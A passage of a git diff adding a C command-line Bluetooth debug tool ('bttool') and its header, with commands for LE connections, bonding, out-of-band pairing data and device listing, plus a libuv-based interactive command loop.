str2hex(argv[1], c_val, sizeof(bt_128key_t)); + str2hex(argv[2], r_val, sizeof(bt_128key_t)); + + if (bt_device_set_le_sc_remote_oob_data(handle, &addr, c_val, r_val) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Set remote oob data for le secure connection pairing with [%s]", argv[0]); + return CMD_OK; +} + +static int pair_get_oob_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_device_get_le_sc_local_oob_data(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Get local oob data for le secure connection pairing with [%s]", argv[0]); + return CMD_OK; +} + +static int connect_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_device_connect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device[%s] connecting", argv[0]); + return CMD_OK; +} + +static int disconnect_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_device_disconnect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device[%s] disconnecting", argv[0]); + return CMD_OK; +} + +static int le_connect_cmd(void* handle, int argc, char** argv) +{ + int opt, index = 0; + bt_address_t addr; + ble_addr_type_t addrtype = BT_LE_ADDR_TYPE_PUBLIC; + ble_connect_params_t params = { + .use_default_params = false, + .filter_policy = BT_LE_CONNECT_FILTER_POLICY_ADDR, + .init_phy = BT_LE_1M_PHY, + .scan_interval = 20, /* 12.5 ms */ + .scan_window = 20, /* 12.5 ms */ + .connection_interval_min = 24, /* 30 ms */ + .connection_interval_max = 24, /* 30 ms */ + .connection_latency = 0, + .supervision_timeout = 18, /* 180 ms */ + .min_ce_length = 0, + .max_ce_length = 0, + }; + + bt_addr_set_empty(&addr); + optind = 1; + while ((opt = getopt_long(argc, argv, "a:t:f:p:l:T:dh", le_conn_options, + &index)) + != -1) { + switch (opt) { + case 'a': { + if (bt_addr_str2ba(optarg, &addr) < 0) { + PRINT("Invalid addr:%s", optarg); + return CMD_INVALID_ADDR; + } + + } break; + case 't': { + int32_t type = atoi(optarg); + addrtype = type; + } break; + case 'd': { + params.use_default_params = true; + } break; + case 'f': { + int32_t filter = atoi(optarg); + if (filter != BT_LE_CONNECT_FILTER_POLICY_ADDR && filter != BT_LE_CONNECT_FILTER_POLICY_WHITE_LIST) { + PRINT("Invalid filter:%s", optarg); + return CMD_INVALID_PARAM; + } + + params.filter_policy = filter; + } break; + case 'p': { + int32_t phy = atoi(optarg); + if (!phy_is_vaild(phy)) { + PRINT("Invalid phy:%s", optarg); + return CMD_INVALID_PARAM; + } + params.init_phy = phy; + } break; + case 'l': { + int32_t latency = atoi(optarg); + if (latency < 0 || latency > 0x01F3) { + PRINT("Invalid latency:%s", optarg); + return CMD_INVALID_PARAM; + } + params.connection_latency = latency; + } break; + case 'T': { + int32_t timeout = atoi(optarg); + if (timeout < 0x0A || timeout > 0x0C80) { + PRINT("Invalid supervision_timeout:%s", optarg); + return CMD_INVALID_PARAM; + } + params.supervision_timeout = timeout; + } break; + case 'h': { + PRINT("%s", LE_CONN_USAGE); + } break; + case 0: { + const char* curopt = le_conn_options[index].name; + int32_t val = atoi(optarg); + + if (strncmp(curopt, "conn_interval_min", strlen("conn_interval_min")) == 0) { + if (val < 0x06 || val > 0x0C80) { + PRINT("Invalid conn_interval_min:%s", optarg); + return CMD_INVALID_PARAM; + } + params.connection_interval_min = val; + } else if (strncmp(curopt, "conn_interval_max", strlen("conn_interval_max")) == 0) { + if (val < 0x06 || val > 0x0C80) { + PRINT("Invalid conn_interval_max:%s", optarg); + return CMD_INVALID_PARAM; + } + params.connection_interval_max = val; + } else if (strncmp(curopt, "scan_interval", strlen("scan_interval")) == 0) { + if (val < 0x04 || val > 0x4000) { + PRINT("Invalid scan_interval:%s", optarg); + return CMD_INVALID_PARAM; + } + params.scan_interval = val; + } else if (strncmp(curopt, "scan_window", strlen("scan_window")) == 0) { + if (val < 0x04 || val > 0x4000) { + PRINT("Invalid scan_window:%s", optarg); + return CMD_INVALID_PARAM; + } + params.scan_window = val; + } else if (strncmp(curopt, "min_ce_length", strlen("min_ce_length")) == 0) { + if (val < 0x0A || val > 0x0C80) { + PRINT("Invalid min_ce_length:%s", optarg); + return CMD_INVALID_PARAM; + } + params.min_ce_length = val; + } else if (strncmp(curopt, "max_ce_length", strlen("max_ce_length")) == 0) { + if (val < 0x0A || val > 0x0C80) { + PRINT("Invalid max_ce_length:%s", optarg); + return CMD_INVALID_PARAM; + } + params.max_ce_length = val; + } else { + return CMD_INVALID_OPT; + } + } break; + default: + return CMD_INVALID_OPT; + } + } + + if (bt_addr_is_empty(&addr)) + return CMD_INVALID_ADDR; + + if (bt_device_connect_le(handle, &addr, addrtype, ¶ms) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int le_disconnect_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_device_disconnect_le(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("LE Device[%s] disconnecting", argv[0]); + return CMD_OK; +} + +static int create_bond_cmd(void* handle, int argc, char** argv) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int transport = atoi(argv[1]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + /* TODO: Check bond state*/ + if (bt_device_create_bond(handle, &addr, transport) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] create bond", argv[0]); + return CMD_OK; +} + +static int cancel_bond_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + /* TODO: Check bond state*/ + if (bt_device_cancel_bond(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] cancel bond", argv[0]); + return CMD_OK; +} + +static int remove_bond_cmd(void* handle, int argc, char** argv) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int transport = atoi(argv[1]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + /* TODO: Check bond state*/ + if (bt_device_remove_bond(handle, &addr, transport) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] remove bond", argv[0]); + return CMD_OK; +} + +static int set_phy_cmd(void* handle, int argc, char** argv) +{ + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int tx_phy, rx_phy; + tx_phy = atoi(argv[1]); + rx_phy = atoi(argv[2]); + if (!phy_is_vaild(tx_phy) || !phy_is_vaild(rx_phy)) { + PRINT("Invalid phy parameter, tx:%d, rx:%d", tx_phy, rx_phy); + return CMD_INVALID_PARAM; + } + + bt_device_set_le_phy(handle, &addr, tx_phy, rx_phy); + + return CMD_OK; +} + +static const char* bond_state_to_string(bond_state_t state) +{ + switch (state) { + case BOND_STATE_NONE: + return "BOND_NONE"; + case BOND_STATE_BONDING: + return "BONDING"; + case BOND_STATE_BONDED: + return "BONDED"; + default: + return "UNKNOWN"; + } +} + +static void device_dump(void* handle, bt_address_t* addr, bt_transport_t transport) +{ + char uuid_str[40] = { 0 }; + char name[64] = { 0 }; + bt_uuid_t* uuids = NULL; + uint16_t uuid_cnt = 0; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(addr, addr_str); + PRINT("device [%s]", addr_str); + if (transport == BT_TRANSPORT_BREDR) { + bt_device_get_name(handle, addr, name, 64); + PRINT("\tName: %s", name); + memset(name, 0, 64); + bt_device_get_alias(handle, addr, name, 64); + PRINT("\tAlias: %s", name); + PRINT("\tClass: 0x%08" PRIx32 "", bt_device_get_device_class(handle, addr)); + PRINT("\tDeviceType: %d", bt_device_get_device_type(handle, addr)); + PRINT("\tIsConnected: %d", bt_device_is_connected(handle, addr, transport)); + PRINT("\tIsEnc: %d", bt_device_is_encrypted(handle, addr, transport)); + PRINT("\tIsBonded: %d", bt_device_is_bonded(handle, addr, transport)); + PRINT("\tBondState: %s", bond_state_to_string(bt_device_get_bond_state(handle, addr, transport))); + PRINT("\tIsBondInitiateLocal: %d", bt_device_is_bond_initiate_local(handle, addr, transport)); + bt_device_get_uuids(handle, addr, &uuids, &uuid_cnt, bttool_allocator); + if (uuid_cnt) { + PRINT("\tUUIDs:[%d]", uuid_cnt); + for (int i = 0; i < uuid_cnt; i++) { + bt_uuid_to_string(uuids + i, uuid_str, 40); + PRINT("\t\tuuid[%-2d]: %s", i, uuid_str); + } + } + free(uuids); + } else { + PRINT("\tIsConnected: %d", bt_device_is_connected(handle, addr, transport)); + PRINT("\tIsEnc: %d", bt_device_is_encrypted(handle, addr, transport)); + PRINT("\tIsBonded: %d", bt_device_is_bonded(handle, addr, transport)); + PRINT("\tBondState: %s", bond_state_to_string(bt_device_get_bond_state(handle, addr, transport))); + PRINT("\tIsBondInitiateLocal: %d", bt_device_is_bond_initiate_local(handle, addr, transport)); + } +} + +static int device_show_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + device_dump(handle, &addr, BT_TRANSPORT_BREDR); + + return CMD_OK; +} + +static int device_set_alias_cmd(void* handle, int argc, char** argv) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (strlen(argv[1]) > 63) { + PRINT("alias length too long"); + return CMD_INVALID_PARAM; + } + + bt_device_set_alias(handle, &addr, argv[1]); + PRINT("Device: [%s] alias:%s set success", argv[0], argv[1]); + return CMD_OK; +} + +static int get_bonded_devices_cmd(void* handle, int argc, char** argv) +{ + bt_address_t* addrs = NULL; + int num = 0; + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int transport = atoi(argv[0]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + bt_adapter_get_bonded_devices(handle, transport, &addrs, &num, bttool_allocator); + for (int i = 0; i < num; i++) { + device_dump(handle, addrs + i, transport); + } + free(addrs); + PRINT("bonded device cnt:%d", num); + + return CMD_OK; +} + +static int get_connected_devices_cmd(void* handle, int argc, char** argv) +{ + bt_address_t* addrs = NULL; + int num = 0; + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int transport = atoi(argv[0]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + bt_adapter_get_connected_devices(handle, transport, &addrs, &num, bttool_allocator); + for (int i = 0; i < num; i++) { + device_dump(handle, addrs + i, transport); + } + free(addrs); + PRINT("connected device cnt:%d", num); + + return CMD_OK; +} + +static int search_cmd(void* handle, int argc, char** argv) +{ + PRINT("%s", __func__); + return CMD_OK; +} + +static int start_service_cmd(void* handle, int argc, char** argv) +{ + return CMD_OK; +} + +static int stop_service_cmd(void* handle, int argc, char** argv) +{ + return CMD_OK; +} + +static int dump_cmd(void* handle, int argc, char** argv) +{ + return CMD_OK; +} + +static int usage_cmd(void* handle, int argc, char** argv) +{ + if (argc == 2 && !strcmp(argv[1], "me!!!")) + return -2; + + usage(); + + return CMD_OK; +} + +static int quit_cmd(void* handle, int argc, char** argv) +{ + return -2; +} + +static void usage(void) +{ + printf("Usage:\n" + "\tbttool [options] <command> [command parameters]\n"); + printf("Options:\n" + "\t--help\tDisplay help\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_cmd_tables); i++) { + printf("\t%-8s\t%s\n", g_cmd_tables[i].cmd, g_cmd_tables[i].help); + } + printf("\n" + "For more information on the usage of each command use:\n" + "\tbttool <command> --help\n"); +} + +static void show_version(void) +{ + printf("Version :2.0.1"); +} + +static int execute_command(void* handle, int argc, char* argv[]) +{ + int ret; + + for (int i = 0; i < ARRAY_SIZE(g_cmd_tables); i++) { + if (strlen(g_cmd_tables[i].cmd) == strlen(argv[0]) && strncmp(g_cmd_tables[i].cmd, argv[0], strlen(argv[0])) == 0) { + if (g_cmd_tables[i].func) { + if (g_cmd_tables[i].opt) + ret = g_cmd_tables[i].func(handle, argc, &argv[0]); + else + ret = g_cmd_tables[i].func(handle, argc - 1, &argv[1]); + if (g_cmd_tables[i].func == quit_cmd) + return -2; + return ret; + } + } + } + + PRINT("UnKnow command %s", argv[0]); + usage(); + + return CMD_UNKNOWN; +} + +static void on_adapter_state_changed_cb(void* cookie, bt_adapter_state_t state) +{ + PRINT("Context:%p, Adapter state changed: %d", cookie, state); + if (state == BT_ADAPTER_STATE_ON) { + char name[64 + 1]; + + bt_tool_init(g_bttool_ins); + /* get name */ + bt_adapter_get_name(g_bttool_ins, name, 64); + /* get io cap */ + bt_io_capability_t cap = bt_adapter_get_io_capability(g_bttool_ins); + /* get class */ + uint32_t class = bt_adapter_get_device_class(g_bttool_ins); + /* get scan mode */ + bt_scan_mode_t mode = bt_adapter_get_scan_mode(g_bttool_ins); + /* enable key derivation */ + bt_adapter_le_enable_key_derivation(g_bttool_ins, true, true); + bt_adapter_set_page_scan_parameters(g_bttool_ins, BT_BR_SCAN_TYPE_INTERLACED, 0x400, 0x24); + PRINT("Adapter Name: %s, Cap: %d, Class: 0x%08" PRIX32 ", Mode:%d", name, cap, class, mode); + } else if (state == BT_ADAPTER_STATE_TURNING_OFF) { + /* code */ + bt_tool_uninit(g_bttool_ins); + } else if (state == BT_ADAPTER_STATE_OFF) { + /* do something */ + } +} + +static void on_discovery_state_changed_cb(void* cookie, bt_discovery_state_t state) +{ + PRINT("Discovery state: %s", state == BT_DISCOVERY_STATE_STARTED ? "Started" : "Stopped"); +} + +static void on_discovery_result_cb(void* cookie, bt_discovery_result_t* result) +{ + PRINT_ADDR("Inquiring: device [%s], name: %s, cod: %08" PRIx32 ", is HEADSET: %s, rssi: %d", + &result->addr, result->name, result->cod, IS_HEADSET(result->cod) ? "true" : "false", result->rssi); +} + +static void on_scan_mode_changed_cb(void* cookie, bt_scan_mode_t mode) +{ + PRINT("Adapter new scan mode: %d", mode); +} + +static void on_device_name_changed_cb(void* cookie, const char* device_name) +{ + PRINT("Adapter update device name: %s", device_name); +} + +static void on_pair_request_cb(void* cookie, bt_address_t* addr) +{ + if (g_auto_accept_pair) + bt_device_pair_request_reply(g_bttool_ins, addr, true); + + PRINT_ADDR("Incoming pair request from [%s] %s", addr, g_auto_accept_pair ? "auto accepted" : "please reply"); +} + +#define LINK_TYPE(trans_) (trans_ == BT_TRANSPORT_BREDR ? "BREDR" : "LE") + +static void on_pair_display_cb(void* cookie, bt_address_t* addr, bt_transport_t transport, bt_pair_type_t type, uint32_t passkey) +{ + uint8_t ret = 0; + char buff[128] = { 0 }; + char buff1[64] = { 0 }; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(addr, addr_str); + sprintf(buff, "Pair Display [%s][%s]", addr_str, LINK_TYPE(transport)); + switch (type) { + case PAIR_TYPE_PASSKEY_CONFIRMATION: + if (!g_auto_accept_pair) { + sprintf(buff1, "[SSP][CONFIRM][%" PRIu32 "] please reply:", passkey); + break; + } + ret = bt_device_set_pairing_confirmation(g_bttool_ins, addr, transport, true); + sprintf(buff1, "[SSP][CONFIRM] Auto confirm [%" PRIu32 "] %s", passkey, ret == BT_STATUS_SUCCESS ? "SUCCESS" : "FAILED"); + break; + case PAIR_TYPE_PASSKEY_ENTRY: + sprintf(buff1, "[SSP][ENTRY][%" PRIu32 "], please reply:", passkey); + break; + case PAIR_TYPE_CONSENT: + sprintf(buff1, "[SSP][CONSENT]"); + break; + case PAIR_TYPE_PASSKEY_NOTIFICATION: + sprintf(buff1, "[SSP][NOTIFY][%" PRIu32 "]", passkey); + break; + case PAIR_TYPE_PIN_CODE: + sprintf(buff1, "[PIN] please reply:"); + break; + } + strcat(buff, buff1); + PRINT("%s", buff); +} + +static void on_connect_request_cb(void* cookie, bt_address_t* addr) +{ + bt_device_connect_request_reply(g_bttool_ins, addr, true); + PRINT_ADDR("Incoming connect request from [%s], auto accepted", addr); +} + +static void on_connection_state_changed_cb(void* cookie, bt_address_t* addr, bt_transport_t transport, connection_state_t state) +{ + PRINT_ADDR("Device [%s][%s] connection state: %d", addr, LINK_TYPE(transport), state); +} + +static void on_bond_state_changed_cb(void* cookie, bt_address_t* addr, bt_transport_t transport, + bond_state_t previous_state, bond_state_t current_state, bool is_ctkd) +{ + g_bond_state = current_state; + PRINT_ADDR("Device [%s][%s] bond state: %s -> %s, is_ctkd: %d", addr, LINK_TYPE(transport), + bond_state_to_string(previous_state), bond_state_to_string(current_state), is_ctkd); +} + +static void on_le_sc_local_oob_data_got_cb(void* cookie, bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val) +{ + PRINT_ADDR("Generate local oob data for le secure connection pairing with [%s]:", addr); + + printf("\tConfirmation value: "); + for (int i = 0; i < sizeof(bt_128key_t); i++) { + printf("%02x", c_val[i]); + } + printf("\n"); + + printf("\tRandom value: "); + for (int i = 0; i < sizeof(bt_128key_t); i++) { + printf("%02x", r_val[i]); + } + printf("\n"); +} + +static void on_remote_name_changed_cb(void* cookie, bt_address_t* addr, const char* name) +{ + PRINT_ADDR("Device [%s] name changed: %s", addr, name); +} + +static void on_remote_alias_changed_cb(void* cookie, bt_address_t* addr, const char* alias) +{ + PRINT_ADDR("Device [%s] alias changed: %s", addr, alias); +} + +static void on_remote_cod_changed_cb(void* cookie, bt_address_t* addr, uint32_t cod) +{ + PRINT_ADDR("Device [%s] class changed: 0x%08" PRIx32 "", addr, cod); +} + +static void on_remote_uuids_changed_cb(void* cookie, bt_address_t* addr, bt_uuid_t* uuids, uint16_t size) +{ + char uuid_str[40] = { 0 }; + + PRINT_ADDR("Device [%s] uuids changed", addr); + + if (size) { + PRINT("UUIDs:[%d]", size); + for (int i = 0; i < size; i++) { + bt_uuid_to_string(uuids + i, uuid_str, 40); + PRINT("\tuuid[%-2d]: %s", i, uuid_str); + } + } +} + +const static adapter_callbacks_t g_adapter_cbs = { + .on_adapter_state_changed = on_adapter_state_changed_cb, + .on_discovery_state_changed = on_discovery_state_changed_cb, + .on_discovery_result = on_discovery_result_cb, + .on_scan_mode_changed = on_scan_mode_changed_cb, + .on_device_name_changed = on_device_name_changed_cb, + .on_pair_request = on_pair_request_cb, + .on_pair_display = on_pair_display_cb, + .on_connect_request = on_connect_request_cb, + .on_connection_state_changed = on_connection_state_changed_cb, + .on_bond_state_changed_extra = on_bond_state_changed_cb, + .on_le_sc_local_oob_data_got = on_le_sc_local_oob_data_got_cb, + .on_remote_name_changed = on_remote_name_changed_cb, + .on_remote_alias_changed = on_remote_alias_changed_cb, + .on_remote_cod_changed = on_remote_cod_changed_cb, + .on_remote_uuids_changed = on_remote_uuids_changed_cb, +}; + +int execute_command_in_table_offset(void* handle, bt_command_t* table, uint32_t table_size, int argc, char* argv[], uint8_t offset) +{ + int ret; + bt_command_t* cmd = table; + + for (int i = 0; i < table_size; i++) { + if (strlen(cmd->cmd) == strlen(argv[0]) && strncmp(cmd->cmd, argv[0], strlen(argv[0])) == 0) { + if (cmd->func) { + ret = cmd->func(handle, argc - offset, &argv[offset]); + return ret; + } + } + cmd++; + } + PRINT("Erroneous command %s", argv[0]); + + return CMD_UNKNOWN; +} + +int execute_command_in_table(void* handle, bt_command_t* table, uint32_t table_size, int argc, char* argv[]) +{ + return execute_command_in_table_offset(handle, table, table_size, argc, argv, 1); +} + +static int bttool_ins_init(bttool_t* bttool) +{ + pthread_setschedprio(pthread_self(), CONFIG_BLUETOOTH_SERVICE_LOOP_THREAD_PRIORITY); + g_bttool_ins = bluetooth_create_instance(); + if (g_bttool_ins == NULL) { + PRINT("create instance error\n"); + return -1; + } + + adapter_callback = bt_adapter_register_callback(g_bttool_ins, &g_adapter_cbs); + if (bt_adapter_get_state(g_bttool_ins) == BT_ADAPTER_STATE_ON) + bt_tool_init(g_bttool_ins); + + return 0; +} + +static void bttool_ins_uninit(bttool_t* bttool) +{ + bt_tool_uninit(g_bttool_ins); + bt_adapter_unregister_callback(g_bttool_ins, adapter_callback); + bluetooth_delete_instance(g_bttool_ins); + g_bttool_ins = NULL; + adapter_callback = NULL; +} + +#ifdef CONFIG_LIBUV_EXTENSION +static void handle_close_cb(uv_handle_t* handle) +{ + uv_stop(uv_handle_get_loop(handle)); +} + +static void bttool_execute_command_cb(uv_async_queue_t* handle, void* buffer) +{ + int ret; + int _argc = 0; + char* _argv[32]; + char* saveptr = NULL; + char* tmpstr = buffer; + bttool_t* bttool = handle->data; + + memset(_argv, 0, sizeof(_argv)); + + // 1. split command + while ((tmpstr = strtok_r(tmpstr, " ", &saveptr)) != NULL) { + _argv[_argc] = tmpstr; + _argc++; + tmpstr = NULL; + } + + // 2. execute command + if (_argc > 0) { + if (bttool->async_api) { +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_ASYNC + ret = execute_async_command(g_bttool_ins, _argc, _argv); +#else + ret = CMD_INVALID_OPT; +#endif + } else + ret = execute_command(g_bttool_ins, _argc, _argv); + if (ret != CMD_OK) { + if (ret == -2) { + if (bttool->async_api) { +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_ASYNC + bttool_async_ins_uninit(bttool); +#endif + } else + bttool_ins_uninit(bttool); + uv_async_queue_close(handle, handle_close_cb); + } else + PRINT("cmd execute error: [%s]", cmd_err_str(ret)); + } + } + + // 3. free buffer alloced by getline() + free(buffer); +} + +static void bttool_command_uvloop_run(bttool_t* bttool) +{ + int ret; + + /* This code is used to initialize the async queue. */ + ret = uv_async_queue_init(&bttool->loop, &bttool->async, bttool_execute_command_cb); + if (ret != 0) { + PRINT("%s async error: %d", __func__, ret); + uv_loop_close(&bttool->loop); + return; + } + + bttool->async.data = bttool; + uv_sem_post(&bttool->ready); + + /* This code is used to start the event loop until there are no more events to process. */ + uv_run(&bttool->loop, UV_RUN_DEFAULT); + + /* The assert() function is used to check the return value of uv_loop_close(). + If the return value is 0, it means that the loop is closed successfully, + otherwise it means an error occurs. + */ + assert(uv_loop_close(&bttool->loop) == 0); +} + +static void bttool_thread(void* data) +{ + bttool_t* bttool = data; + + /* Initialize the event loop, the loop is available + before the asynchronous instance is created. + */ + uv_loop_init(&bttool->loop); + + /* initialize synchronous or asynchronous instance. + and register callbacks. + */ + if (!bttool->async_api) { + bttool_ins_init(bttool); + } else { +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_ASYNC + bttool_async_ins_init(bttool); +#endif + } + + /* This code is used to start the event loop until there are no more events to process. */ + bttool_command_uvloop_run(bttool); +} + +static int bttool_create_thread(bttool_t* bttool) +{ + int ret; + uv_thread_options_t options = { + .flags = UV_THREAD_HAS_STACK_SIZE, + .stack_size = 8192, + }; + + ret = uv_sem_init(&bttool->ready, 0); + if (ret != 0) { + PRINT("%s sem init error: %d", __func__, ret); + return ret; + } + + ret = uv_thread_create_ex(&bttool->thread, &options, bttool_thread, (void*)bttool); + if (ret != 0) { + PRINT("loop thread create :%d", ret); + return ret; + } + + pthread_setname_np(bttool->thread, "bttool-cmd-exec"); + uv_sem_wait(&bttool->ready); + uv_sem_destroy(&bttool->ready); + + return 0; +} + +static void bttool_quit(bttool_t* bttool) +{ + char* buffer = malloc(5); + + strcpy(buffer, "quit"); + uv_async_queue_send(&bttool->async, buffer); +} + +int main(int argc, char** argv) +{ + int opt; + char* buffer = NULL; + int ret; + size_t len, size = 0; + bttool_t bttool = { .async_api = false }; + + while ((opt = getopt_long(argc, argv, "a-h-v-d", main_options, NULL)) != -1) { + switch (opt) { + case 'a': +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_ASYNC + bttool.async_api = true; + break; +#else + PRINT("async not supported"); + return -1; +#endif + case 'h': + usage(); + exit(0); + case 'v': + show_version(); + exit(0); + break; + default: + break; + } + } + + // Call the bttool_create_thread function to create a new thread + // If thread creation fails, the return value is non-zero + ret = bttool_create_thread(&bttool); + if (ret != 0) + return ret; + + while (1) { + printf("bttool> "); + fflush(stdout); + + len = getline(&buffer, &size, stdin); + if (-1 == len) { + bttool_quit(&bttool); + break; + } + + buffer[len] = '\0'; + if (buffer[0] == '!') { +#ifdef CONFIG_SYSTEM_SYSTEM + system(buffer + 1); +#endif + continue; + } + + if (buffer[len - 1] == '\n') + buffer[len - 1] = '\0'; + + if (strcmp(buffer, "quit") == 0 || strcmp(buffer, "q") == 0) { + uv_async_queue_send(&bttool.async, buffer); + break; + } + + uv_async_queue_send(&bttool.async, buffer); + + buffer = NULL; + } + + uv_thread_join(&bttool.thread); + + return 0; +} +#else /* CONFIG_LIBUV_EXTENSION */ +int main(int argc, char** argv) +{ + int opt; + int _argc = 0; + char* _argv[32]; + char* buffer = NULL; + char* saveptr; + int ret; + size_t len, size = 0; + + while ((opt = getopt_long(argc, argv, "h-v-d", main_options, NULL)) != -1) { + switch (opt) { + case 'h': + usage(); + exit(0); + case 'v': + show_version(); + exit(0); + break; + default: + break; + } + } + + bttool_ins_init(NULL); + + while (1) { + printf("bttool> "); + fflush(stdout); + + memset(_argv, 0, sizeof(_argv)); + len = getline(&buffer, &size, stdin); + buffer[len] = '\0'; + if (len < 0) + goto quit; + + if (buffer[0] == '!') { +#ifdef CONFIG_SYSTEM_SYSTEM + system(buffer + 1); +#endif + continue; + } + + if (buffer[len - 1] == '\n') + buffer[len - 1] = '\0'; + + saveptr = NULL; + char* tmpstr = buffer; + + while ((tmpstr = strtok_r(tmpstr, " ", &saveptr)) != NULL) { + _argv[_argc] = tmpstr; + _argc++; + tmpstr = NULL; + } + + if (_argc > 0) { + ret = execute_command(g_bttool_ins, _argc, _argv); + _argc = 0; + if (ret != CMD_OK) { + if (ret == -2) + break; + PRINT("cmd execute error: [%s]", cmd_err_str(ret)); + } + } + } + +quit: + bttool_ins_uninit(NULL); + free(buffer); + + return 0; +} +#endif /* CONFIG_LIBUV_EXTENSION */ \ No newline at end of file diff --git a/tools/bt_tools.h b/tools/bt_tools.h new file mode 100644 index 0000000000000000000000000000000000000000..e28fc350f73b78821053fe7f0035e69d5e7ef09a --- /dev/null +++ b/tools/bt_tools.h @@ -0,0 +1,197 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_TOOLS_H__ +#define __BT_TOOLS_H__ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#ifdef LOG_TAG +#undef LOG_TAG +#endif +#define LOG_TAG "[bttool]" + +#include <getopt.h> +#include <inttypes.h> +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bt_debug.h" +#include "utils.h" + +#include "uv.h" +#include "uv_async_queue.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#ifndef ARRAY_SIZE +#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) +#endif +#define CMD_OK (0) +#define CMD_INVALID_PARAM (-1) +#define CMD_INVALID_OPT (-4) +#define CMD_INVALID_ADDR (-5) +#define CMD_PARAM_NOT_ENOUGH (-6) +#define CMD_UNKNOWN (-7) +#define CMD_USAGE_FAULT (-8) +#define CMD_ERROR (-9) + +#define BTTOOL_PRINT_USE_SYSLOG 0 + +#if BTTOOL_PRINT_USE_SYSLOG +/* use syslog */ +#include <debug.h> + +#define PRINT(fmt, args...) syslog(LOG_DEBUG, LOG_TAG " " fmt "\n", ##args) +#else +/* use printf */ +#define PRINT(fmt, args...) printf(LOG_TAG " " fmt "\n", ##args) +#endif + +#define PRINT_ADDR(fmt, addr, ...) \ + do { \ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; \ + bt_addr_ba2str(addr, addr_str); \ + PRINT(fmt, addr_str, ##__VA_ARGS__); \ + } while (0); + +#ifndef CONFIG_NSH_LINELEN +#define CONFIG_NSH_LINELEN 80 +#endif + +/**************************************************************************** + * Public Types + ****************************************************************************/ +typedef struct { + uv_loop_t loop; + uv_async_queue_t async; + uv_thread_t thread; + uv_sem_t ready; + bool async_api; +} bttool_t; + +typedef struct { + char* cmd; /* command */ + int (*func)(void* handle, int argc, char** argv); /* command func */ + int opt; /* use option parameters */ + char* help; /* usage */ +} bt_command_t; + +int execute_async_command(void* handle, int argc, char* argv[]); +int 